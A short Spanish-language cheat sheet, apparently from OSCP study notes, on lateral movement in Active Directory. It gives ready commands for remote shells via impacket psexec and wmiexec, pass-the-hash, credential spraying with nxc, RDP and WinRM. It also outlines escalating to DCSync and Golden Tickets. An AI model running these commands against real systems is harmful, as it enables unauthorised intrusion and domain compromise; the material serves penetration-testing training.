# Movimiento lateral

> Saltar de una máquina a otra con credenciales/hashes obtenidos. Paso 5-6 de la cadena de Active Directory.

## Con qué saltas
```bash
impacket-psexec  dominio/user:pass@10.10.10.20      # shell SYSTEM
impacket-wmiexec dominio/user:pass@10.10.10.20      # sin tocar disco
impacket-psexec  -hashes :NTLMHASH user@10.10.10.20 # Pass-the-Hash
nxc smb 10.10.10.0/24 -u user -p pass               # ¿dónde valen estas creds?
xfreerdp /u:user /p:pass /v:10.10.10.20             # RDP si hay GUI
evil-winrm -i 10.10.10.20 -u user -p pass           # WinRM (5985)
```

## Regla clave
**Reutiliza credenciales**: cada pass/hash que pillas → pruébalo contra **todos** los hosts y servicios (Metodología OSCP).

## Decidir a dónde
- BloodHound te dice qué usuario es admin dónde y el camino a Domain Admin.
- Si llegas al DC → secretsdump / DCSync → Golden Ticket.
- Red interna no enrutable → Pivoting ligolo-ng.

Relacionado: Impacket · Mimikatz · OSCP MOC